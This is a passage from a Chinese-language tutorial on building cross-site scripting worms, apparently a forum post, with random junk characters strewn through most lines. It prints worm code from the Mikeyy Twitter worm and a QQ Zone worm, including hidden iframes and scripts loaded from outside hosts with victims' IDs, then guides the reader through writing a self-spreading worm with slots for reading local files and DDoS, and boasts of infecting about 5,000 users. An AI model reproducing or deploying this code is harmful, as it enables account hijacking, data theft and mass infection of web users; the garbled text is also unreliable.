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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; ( s8 m/ g: L: { k, J/ y
% P/ w% j' N. A- w c: H$ j 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; . _6 \' M; u* ~' Y
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24. : D$ Y, ]. }3 Z( W
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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; \# v# S! j% E+ V# f/ S 26. var updateEncode=urlencode(randomUpdate[genRand]);
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, I: J* H9 X: }! { j. l6 u2 |" z 27. 2 q) z% D% _8 f0 P
2 P$ X5 w4 O/ w
28. var ajaxConn= new XHConn();
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* N$ `) r) l1 d* M8 m2 P* d 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); ( B6 T/ d7 |5 O3 [) H8 R
4 i2 @$ v. y) b& ?. A 30. var _0xf81bx1c="Mikeyy"; , k' p' a; i- n8 @ Q: N
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31. var updateEncode=urlencode(_0xf81bx1c); % y) o6 A1 W9 B. N9 h( `% h
" n% o4 h- B+ H3 } 32. var ajaxConn1= new XHConn(); : a3 f0 p4 I% }% ?( N+ d3 Z
- U( b; x( ?0 \! s
33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 7 Q* D1 F: Q0 o
8 D! J% ?4 ^2 `4 ?& s+ g 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); " t. L" p1 G0 N0 |7 C7 W/ S) J7 G
" Q. i0 q% P$ O, e0 x9 f6 a' V5 M 38.
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39. } ;
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+ p& {3 m% ?! \9 G( n( i9 N 40. setTimeout(wait(),5250); % N2 } O% M7 r+ A. ~. q3 d
复制代码QQ空间XSSfunction killErrors() {return true;}
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+ E+ }, Z/ I' ?window.onerror=killErrors;5 [ I( d% l, z6 T$ s- B9 ~
. c7 I7 I/ }8 U8 F9 S. {
1 [6 [, {; m! x; X3 ]. W
' S; @/ k$ w9 k+ lvar shendu;shendu=4;+ A$ H$ b* |, Z8 a
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//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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1 P7 E9 q) p- Y- W) J- Y) bvar myblogurl=new Array();var myblogid=new Array();' z V9 z1 y/ o; o% w; d
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var gurl=document.location.href;* y$ r9 A- r# t' R
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var gurle=gurl.indexOf("com/");- N6 j! j# _. I& F! ~# W6 C
/ b W& p9 k& O# T h6 v3 R, f8 m gurl=gurl.substring(0,gurle+3);
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t- F: x5 l$ P- ~6 R var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");8 `/ s+ n7 u& B/ E
3 M% p7 \4 p) i+ ~0 Y visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID);
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DOshuamy();
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//挂马
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' \. l, s9 r/ Y9 X6 Cfunction DOshuamy(){
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% Q: ^$ l( X3 \var ssr=document.getElementById("veryTitle");
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$ R: q0 T1 s7 o3 R, Y0 d; ]ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){
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' Z& s9 X+ @. K2 m Z. A4 b9 l userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象9 D8 q& O% a' w$ F7 a) l4 B" k
' @/ }! R3 R& X- M) g0 r) P if(xhr){ //成功就执行下面的: u* [; }# S# ?6 r5 ^. L
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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3 k8 f" h8 A8 X" u; k xhr.send();guest=xhr.responseText;% |8 ~9 }$ v! t
0 k$ V+ F+ v) h4 p: r2 t4 m get_my_blogurl(guest); //执行这个函数
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}
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//这里似乎是判断没有登录的
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9 P, ~( [2 c: W! z2 {! H: N: _function get_my_blogurl(guest){, e- w, j) S& X( l! _& p
( z3 N2 I$ P1 a% f! X& L2 }+ D" m var mybloglist=guest;
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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+ H- O& a( y0 Z, A& S- Z myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了2 J7 @ w* V+ b) Q5 i- |
1 E& _, G: q+ n) W0 x$ K5 C if(myurls!=-1){ //找到了就执行下面的' X* A3 y7 u# t8 W
5 e( |: h0 l' H- x4 `; F W mybloglist=mybloglist.substring(myurls+11);
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5 a6 ~4 M9 y" c+ p/ I7 H! | myurls=mybloglist.indexOf(')');3 u) r2 R0 a6 @ P/ @
" M2 {3 E4 n* m. D1 ~% Y myblogid=mybloglist.substring(0,myurls);: J4 e& e5 T2 s, D( R3 V. g
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}else{break;}
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+ e* v0 Z2 v6 B. t2 d$ f2 {5 S3 F3 V/ \+ c: E9 I7 n0 d5 u
get_my_testself(); //执行这个函数
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//这里往哪跳就不知道了
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1 M! a- I* `$ p( p i; ofunction get_my_testself(){8 J/ N$ w( c7 P. v4 N+ P
; q: ^' r! V7 H' G( I6 I: ` for(i=0;i<myblogid.length;i++){ //获得blogid的值/ x! v' P2 A0 l/ U3 U
& }3 _9 G+ m$ W5 r0 U0 W7 t+ Y
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();6 M" y* W9 Y% t6 |: j/ S
+ r1 S( [6 Q7 R# y- Q4 P6 s# O* d1 I
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象+ s1 d$ d5 A8 I/ }; e8 `9 ~( h* Q1 k
5 U' b0 b# |0 H/ B D' p if(xhr2){ //如果成功* r: C* J( @& ^3 m0 |$ g7 Z
+ {1 G: G6 h5 N) z# A
xhr2.open("GET",url,false); //打开上面的那个url! H- L; y8 v9 X/ n- {, f
* X. Z7 a5 {' M6 k5 H* g# i- c
xhr2.send();" C8 d9 Q0 f. X8 |
3 C6 ^ v6 o. |/ N0 [4 q# _
guest2=xhr2.responseText;) v% i7 U9 V" g$ _5 ?8 W) M: B
; [1 ?$ e" m+ \6 C+ f var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
+ p4 S2 A! X, b; O) @6 A
5 W% U. X) G' t/ U5 d' ^; M var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串/ _& {9 N3 A& W4 f% R7 r- ]
( N5 j- v& G1 ]9 p
if(mycheckmydoit!="-1"){ //返回-1则代表没找到% z6 f& Z; l6 h2 ~0 P: H4 P6 r* f
- Y' g( ~6 `' S1 y7 C9 X) S targetblogurlid=myblogid; : V+ l- g) K, H" G
6 s4 |: Z# [: U8 S7 _) f& \/ B add_jsdel(visitorID,targetblogurlid,gurl); //执行它
9 s2 c2 m4 O9 l$ N( P' Y3 A5 o0 u0 P9 e0 u: Y# H
break;2 ~6 D. f b' x$ @+ |3 y
8 J/ v% s3 O ?/ L# j
}8 Q# G( V' w2 F U
+ l& \* }: b4 D
if(mycheckit=="-1"){
8 M0 J* F+ I7 j0 J% H) H1 H
' l6 O( T: H' A0 f, e: K targetblogurlid=myblogid;
y. {- L6 P+ m- O' ?; B5 G
) ?0 s1 R0 P8 i1 N6 { add_js(visitorID,targetblogurlid,gurl); //执行它
+ C" e8 i: u: [1 P/ E! k; R1 w" z% T
break;
5 L9 T2 V* }/ ~6 I) j" }0 z& C3 |% W
}
! `; v# b& ~4 L! h
5 \5 d; C3 U( |4 c } , r; q/ g. }9 x6 Z) `
+ A$ A6 }/ ^# P5 b$ e' @$ i7 `1 k3 t9 ~}
; ^' ]/ m) G' \+ v. @( i
& e; Y$ _; k' j+ A7 v}
! d% `$ X/ R& h( k, u( l7 _+ X4 y3 S& d& S4 E# L: m
2 Z; z. l) Z+ o, R% H5 C& Q
2 g1 J+ d- u! }3 l
//--------------------------------------
7 o) u3 H. A: x4 s2 X/ f# r. n9 w1 u- f
6 O2 B ^; N$ n+ M% r, Z( o2 C" M//根据浏览器创建一个XMLHttpRequest对象7 o' ^7 f* j* }
* H6 ?3 \3 G9 d( [function createXMLHttpRequest(){: ^6 T+ U2 s0 u& H( A& m( Y
% v) ~8 @/ u* x
var XMLhttpObject=null; 9 z7 |, z: I4 r& R& o) b
) z1 W3 m: }* U5 ^
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
5 A6 b, u4 A* p# s% C5 Y5 L! S( ?' V9 `% H8 Q1 U- s
else
' e6 d" B" E g7 o: k2 y0 E: L# `5 Z- j3 V+ K0 i; p }
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
. \" B( X& C! c2 s3 \" U( a* m; }8 K j& @/ Z$ g: a
for(var i=0;i<MSXML.length;i++) 9 v- F2 H" ^- j2 V
/ c( M6 R. w& I4 m& Z { # d% ] r" J) k# Q7 n
, a% P1 k' w. i0 B! n! F
try : c% r1 E7 }/ Y' L. D
% B2 E6 s/ z4 e/ i
{ k3 e' N/ ^& `( h9 G
7 j7 ?; h" i/ U2 @, g: E$ z
XMLhttpObject=new ActiveXObject(MSXML);
5 g% o6 x+ r+ D6 H8 X/ D' E
2 L( M4 D0 f6 ~ H6 ` break;
, V, d0 ]* k& j9 O4 j p# F' v A: g, L; }/ j0 z) F. I, g
} , N( B& d1 n7 |4 n ~: E- L
+ o- J; I- S/ K* C4 F catch (ex) {
7 d) d. K( v: ~' B1 Z4 n J) u' S3 g0 @% P8 r
} ( c% I* \ i0 ]4 [
9 `6 i/ u/ t1 [2 z2 |! {6 `9 R& p1 X
} 1 z) P) M6 h3 a9 Z/ R
% r# K4 S: ?4 F }
/ x# f0 ~* E3 D# e3 I0 r
; z# Q: T/ P6 z# q3 {6 vreturn XMLhttpObject;: v- a: b& C. ^4 l
3 m2 G' A% N$ e- s
} 8 k0 w, [! j5 l+ M" r$ s9 k
" j q& C+ W* e% D$ Z
( i1 K B p- L ]" O" ~7 a: s
" M3 e! z' J/ |6 w. J5 B8 ?, f//这里就是感染部分了/ d g5 z# j2 L' R4 |
- y7 g( B3 ^3 X' b) N
function add_js(visitorID,targetblogurlid,gurl){8 m; R6 i1 x2 o, h; [
* k7 b7 W9 J, z0 Tvar s2=document.createElement('script');* K C" Q, l' l8 b# a5 h
2 S8 w1 ~9 l% Hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
/ a. N. h: D8 t% _5 N; S/ e+ y6 G$ `: X1 B4 U* }% h, _# f
s2.type='text/javascript';+ l* p, z; y6 _7 T6 v& c
5 A( i5 @; z% E! B8 u* B4 r, Adocument.getElementsByTagName('head').item(0).appendChild(s2);
1 N8 }( ~5 V/ H
( `$ k2 S7 R J5 J}
4 q+ [7 X5 N- R: N1 V) l1 `4 t7 _
$ m. ]. H* P6 w- f8 Q* o$ J# a% J4 N/ j2 ]2 F5 s: U
function add_jsdel(visitorID,targetblogurlid,gurl){1 h& d, J$ v1 S; \% S$ m: e. U
+ N; i( J( p+ T
var s2=document.createElement('script');9 m0 Q; `, |. c3 f, ~* L3 i
+ Q0 D( `* {. r& U( \" B9 K5 A+ w! F u9 ns2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();3 s/ T( A- @5 C, |
1 J! ^( L% W4 g: A3 M5 w1 b7 B7 Ds2.type='text/javascript';! b, A9 r# d0 | Q, J! p
# E; s9 A- d& G1 b$ S' ~, I: wdocument.getElementsByTagName('head').item(0).appendChild(s2);
. B7 A M% h4 W0 I" C0 i
. c; w; G9 h4 v3 m4 A" ?}
; F( X8 P6 r4 \. n1 `% i8 r复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:# J A8 J$ n& `7 l2 ~% x
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)) ^1 a3 x1 l3 z0 o; d2 z
7 r& x. G3 a9 h+ r1 l9 J2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)& }! L( b6 `, r2 j0 g% \' |
6 B# [1 N1 } A6 B7 h6 |8 ]综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~9 T+ e$ C7 @: c. C
+ r! }9 c6 R0 Q6 D) C& ?) e! c
+ C+ D# T( W! E$ x
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
1 E. _2 l9 d6 y: J# M8 w# D a+ F; O+ \% H( s- [ s( G
首先,自然是判断不同浏览器,创建不同的对象var request = false;
/ h! ^, g/ |- O$ N, e0 G+ j
6 L4 V# I* ?0 m# ]: k0 Aif(window.XMLHttpRequest) {7 l2 ~& s( t4 z7 |5 N! S
9 z- I% \# G. ]- ]/ i# R
request = new XMLHttpRequest();
% n* Z; E% J5 a
/ N P0 g& w- T! ?) O' L! Iif(request.overrideMimeType) {7 Z* {9 X* F! z/ n8 Z
8 E% K# N/ a( k/ rrequest.overrideMimeType('text/xml');- X( @: p% ]5 V# t0 b% Y3 ?
- I4 M9 s( i1 a S; K) f. \
}
$ G6 L3 C( n5 o
* Y1 a1 e1 K" U# Y. V- r6 D) L} else if(window.ActiveXObject) {
& }' r o# Q# E3 K8 c* k% J8 z B$ C4 ~
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% p! C6 J' w. F3 \. o
, m" ?- w9 `: Q8 U' M, {) T# b3 a
for(var i=0; i<versions.length; i++) {
0 Z1 R$ r, @* i( _) ~# @) m, m0 |8 ?. P' e) {- ]
try {
) f* _, W! X' \
5 e( U# F/ ?; ~+ m2 arequest = new ActiveXObject(versions);
- ]& ?! m# V; O" n+ j3 W. w+ T k. M, d6 j
} catch(e) {}6 a" f4 I, ^4 P1 t
3 t" q7 Q7 J9 m
}
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}. {4 @, ]. a( {5 C' I3 {
- h3 H. U W( E8 L- _6 w
xmlHttpReq=request; a: ` }0 h+ V# _
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){; Q: X7 s6 C, w/ H6 k9 k
* t/ G$ j" j. X- _2 N
var Browser_Name=navigator.appName;
& {3 x( H6 J# ?+ q: W) G6 ?$ H# O2 g; W
var Browser_Version=parseFloat(navigator.appVersion);
2 Q* q+ I2 e9 X5 F. B/ h* [' u" M1 a# b9 ]" ~& ^9 c) \ x- o
var Browser_Agent=navigator.userAgent;
- l" K8 j @+ H' J7 J F( o& c1 j' f, W7 @. H( L4 o/ d) ~* D3 d
* z0 v/ l$ ~ e2 O
1 p+ T" d/ m9 J9 Z var Actual_Version,Actual_Name;7 M+ h% n' }/ i1 E% M. }6 C" J
' X8 i" L7 S' @: J' \' {& V' s$ t* \
: w1 H5 x7 y' }9 t% M
2 v" b, R; _; [1 g2 Q
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
/ @: |' Z2 J- y- ^" p3 }1 J& A( M% [, V( G
var is_NN=(Browser_Name=="Netscape");; J# w: g1 p8 e8 {7 o9 U
! a$ P; G. U1 D! j( G b& B
var is_Ch=(Browser_Name=="Chrome");
4 s, Z% O6 u# C& f" Y2 j7 _
. a* K9 q9 ^* G1 m8 t% Y4 i
: w+ x' y5 M, k
1 `) _$ l2 ?- X. i; s5 B) X: U if(is_NN){
4 `0 ~+ O8 E. j( Q' t1 M0 C
( X9 Q+ J! l- _" Y' Y: U3 {! j if(Browser_Version>=5.0){
$ b& F6 k |% @% D) W$ @1 ?( P1 K
, F$ a+ s8 G2 W% U9 P6 U+ f; G. D8 n" j var Split_Sign=Browser_Agent.lastIndexOf("/");6 h' o% k9 [ I" b* _. k* X; ]
2 a$ [( e- V+ L @6 T! O8 k9 z
var Version=Browser_Agent.indexOf(" ",Split_Sign);
, U, t5 b4 x! O, Q8 `& M
5 P5 c5 E7 n& ]( k1 G var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);) a% }0 {: _! n. a7 \( f, }
1 ?* @5 d' G! M; S1 A5 `
$ q8 l( ^( Z* Z. I; m$ P+ x, g3 Q$ S w. I/ C; S
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
" e' |8 k6 u: q3 f* Q( m. g4 G. }' E. s3 X2 U! D$ G. L
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
- T0 S7 D2 E4 s6 u" _
. n2 N- z) l# i: y' E1 \# v }
& u4 R r* ]2 i* u) S( ]9 z' L( b# \0 _
else{; |% R5 i' E% o
4 o6 l6 r! I) A2 ~ Actual_Version=Browser_Version;
2 q) E, U. H0 L5 W" ?: f+ ^+ N% |# R' @, K a! n
Actual_Name=Browser_Name;
( g% a4 y: T( M2 y2 O0 r' h: A9 E' a
}
$ _/ t- v; L B4 |# d: K# d: l6 l [. c+ @: W0 Y
}( k% S; O7 g; @. h3 T
' A9 L) k- @; i
else if(is_IE){; m% H- t0 A! ?
( O- a; E/ W" _8 ?' J var Version_Start=Browser_Agent.indexOf("MSIE");
3 B+ t6 ?. `6 Y
" a/ y. \* F- O0 D7 r var Version_End=Browser_Agent.indexOf(";",Version_Start);9 d9 a+ j, ?* }; k6 `7 F( D9 Y
3 V" H4 z5 e/ O |
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)6 F, Z5 \2 P6 r7 E8 r
1 z: m6 W$ r8 d6 V4 h, y3 l Actual_Name=Browser_Name;
; G& M7 \4 ]4 T9 s6 @
% p9 P' [9 ?9 \- y9 a, W# M$ H X9 L7 N" s: }0 M& o* |
0 h, C1 _ M# G: P* ]8 q
if(Browser_Agent.indexOf("Maxthon")!=-1){$ e& X: g) w& \- f) f# T2 y/ n
7 O; Q3 U2 z1 _& j5 g1 I- L/ { Actual_Name+="(Maxthon)";
X, v5 t3 U& D
% I8 [+ R& k7 N* e) Q }
) _1 g9 t- b% c1 x ~4 X! K+ j
. F" H2 S, M. I: Y+ [+ C$ l1 \ else if(Browser_Agent.indexOf("Opera")!=-1){
: x) q/ Z S! A5 o% ]
/ ~# V3 X' K0 G% S Actual_Name="Opera";
8 d0 a* D! j4 S4 _
! g2 ~* }# B. Y- m var tempstart=Browser_Agent.indexOf("Opera");
: w+ s3 y1 y; y- U
6 `0 |1 Z% g4 A4 b6 t; l2 q% W var tempend=Browser_Agent.length;
: ^: _( ?9 m& D, N! A
" ^" I9 s. G. d Actual_Version=Browser_Agent.substring(tempstart+6,tempend)2 k. g9 z9 w# M9 A b w
7 t8 V- w& ^1 G7 ~0 n
}6 w; h; t. O* ]; N! P9 n" U
- ^8 B: w- ?/ G+ G, f$ [5 m }1 B; t) F2 l; B' G
- I9 |- {: J% _9 F else if(is_Ch){
) V7 X) G* k; W9 R" m
. H; I* R. a1 J0 _ var Version_Start=Browser_Agent.indexOf("Chrome");
! K6 h( B( A2 V, T# Z8 E7 X9 b. O% W' K+ u% y* e/ x
var Version_End=Browser_Agent.indexOf(";",Version_Start);4 }/ I8 Y$ _9 e6 V% t/ ~1 Z. K
A% |6 E: X4 j! d. x
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
9 `' q4 t% ]! A4 r2 J. P& N% d- C& E7 H# `' ?
Actual_Name=Browser_Name;
$ @2 d3 }# p& H% o3 g
; U! s; C# M! i7 ~2 J ) @, Z+ I. L* _2 R8 i7 X
! Q7 F7 H3 T% ?* H+ i6 P
if(Browser_Agent.indexOf("Maxthon")!=-1){& L3 q( E( a' }' a& r( `
% `6 f3 ]5 S: ] h
Actual_Name+="(Maxthon)";
; \( J0 h! O' m" K; y+ O( c1 ?' g! x' } I
}
2 S' }9 v! r5 {2 O) V M/ c3 S& P
else if(Browser_Agent.indexOf("Opera")!=-1){
( X w& n* v( @; z( L4 }# y H, n' Q" ?
Actual_Name="Opera";( |" e" g9 N# A0 L6 |+ V$ L0 }2 V; G
4 f, M0 J! @" q8 u0 a7 |' f
var tempstart=Browser_Agent.indexOf("Opera");
: X8 z4 s R( ~* [% U: @
! c/ |: D% J0 S9 B9 b var tempend=Browser_Agent.length;
2 k- \" y+ l k T- }" I" R! J7 I% A7 u4 m' B9 L5 e
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
1 k4 f+ V, v, m) d- p9 q
4 D/ `, x. i0 |# R1 C6 U7 K }8 U6 {. z2 Q: @; L) `" k( w( D% O
1 N8 [+ ?4 I' b* Q }, }+ j g1 L5 S; P6 J- d- {3 x
$ j! U1 H8 t" |: i# g: l else{! a n* _% J$ W1 S& Z) L' _! v
" C+ I8 C" i+ q
Actual_Name="Unknown Navigator"3 @* o s: [0 j
5 o* u( A, k6 L$ v/ \; v Actual_Version="Unknown Version"
$ ^- s5 y f6 {- e# c, ?' q
+ E' l: z# I7 [" C/ W8 N- U# n! N }! M9 q# O$ U# F0 O
: W& o6 l& u% @$ p; R. P
2 |% M, Y* x& V- _9 d* p! b3 X
0 Y S- v' T! z+ `5 P$ ]8 Q/ c z navigator.Actual_Name=Actual_Name;
6 q4 [0 n4 D7 s, h3 I( X. @ n# f* u! E7 Z7 t
navigator.Actual_Version=Actual_Version;2 D2 N: v: z& O, }/ B
, o B! d# m' t % k. o% [3 Y( L2 P }4 O6 [! c
2 n" D: ]+ K5 \: O* M2 _7 ?% I; r
this.Name=Actual_Name;' E8 k6 B$ J+ I; ]1 c
4 S. X, I0 R' S- M( r
this.Version=Actual_Version;8 N; R- F+ n+ P i9 b+ ?. P& O
1 g- Y2 I. X$ e7 T" }+ @2 u& Z
}
5 U$ q* B, L1 k5 B
: v9 N. Q/ }4 o6 R5 [# F# K browserinfo();- G3 C6 R6 L8 Q9 ^8 ?# @4 r3 @
* K E; d0 l) q5 t- V
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
; q ^! ]9 F1 X3 v9 A1 P3 ]
9 z6 Y' h: v& M6 k" a6 y/ k% V7 W if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
4 p2 }) U* H% _+ L) Q" B, U+ B/ B
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}+ B4 D' R+ q# l. v9 I
7 D; o- }% ?5 k# Z9 j. @
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}( ?9 b' D2 r! p& W" _+ A
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码* i1 h2 ]/ d( C, |
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码5 ^; M# m/ @' z! `6 k0 p
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
% D6 g/ P! y& Z2 @/ t- _- P# ~ g3 q$ P5 i/ k( w8 T6 b
xmlHttpReq.send(null);8 o8 e3 T* [/ a# g p: v
3 C ?! R0 ]3 v) q
var resource = xmlHttpReq.responseText;1 k! l9 w9 {/ c9 h& m' k2 ~
; E6 }: e; ?- A( l* Tvar id=0;var result;2 e2 P" \8 g3 C% w
* T5 B" u [1 ^var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
% K. Y# {8 @' b4 i. C _$ s' s9 e7 |& Y
while ((result = patt.exec(resource)) != null) {
' V: d f. _1 `, `' M9 Z) G9 ]: k4 E: ~3 k7 Q! t4 R2 d! _
id++;
$ H: A4 }: G" h) K$ P7 }6 R7 }, S! `8 `& I! v: V8 N
}: z! O4 B0 c$ m* _
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.& {- u. j7 l4 l( D4 i
) ~+ J; ~' @ H1 u- l: C2 t! Yno=resource.search(/my name is/);9 x# S$ ~4 @+ ^# T5 z! C
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.8 n4 B! c4 z+ ^8 T% R5 P" w6 |( J& C, L9 U
2 w3 R; r2 c+ o: z& I+ P4 ]6 [var post="wd="+wd;1 R( r- U; b6 m9 ^0 S; f) a
$ k( ?& U+ E0 ~; G/ j, ixmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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% J# r! L3 \* Y7 {- X) H$ q9 jxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*"); s0 ~, |( ]4 W$ h/ Z) z# q
# P! p6 y, _) q, j* Q; a8 o0 YxmlHttpReq.setRequestHeader("content-length",post.length); 7 u3 A4 u9 N7 X, n
0 |$ {* N) q7 E% G, T0 v2 ?) b; s6 HxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");; M; ]# A3 n" X( y% S
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xmlHttpReq.send(post);" z# L4 s. x0 x8 Y, E( u
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}
0 Y/ t8 O: x8 l P) ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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& A% X5 m# N9 B0 bvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得. y! a; M; n- u8 j0 l7 W
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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' @# v. X1 F7 A$ o0 o' avar post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false); T; ]% x$ g* k5 Z$ |
& B. c! {9 x% C* @: ^9 fxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");0 X- {9 t; x8 v
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xmlHttpReq.setRequestHeader("content-length",post.length); 7 T9 G2 c- q5 Y
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");0 D1 B% |0 Y/ H! ?* e5 h/ F; p
5 S/ m; ~9 t; g$ NxmlHttpReq.send(post); //把传播的信息 POST出去.
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}
$ }! T( H s* v8 D复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.5 D: Z( Y$ |0 Z3 E) n# C# Q+ c
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 I y. c0 u i" ]* ^( U$ x) q操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.$ n$ g( H3 z2 e; u( m* [
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3 Y! p$ G4 t% f本文引用文档资料:7 K' ~4 l3 D: R+ e9 ~1 \
! t, z8 I' N4 r1 {* H"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
6 v. }3 u8 o! H& {% Y1 fOther XmlHttpRequest tricks (Amit Klein, January 2003)3 G6 I, e; h& @) V
"Cross Site Tracing" (Jeremiah Grossman, January 2003)$ P4 K3 D y8 a# e3 h
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
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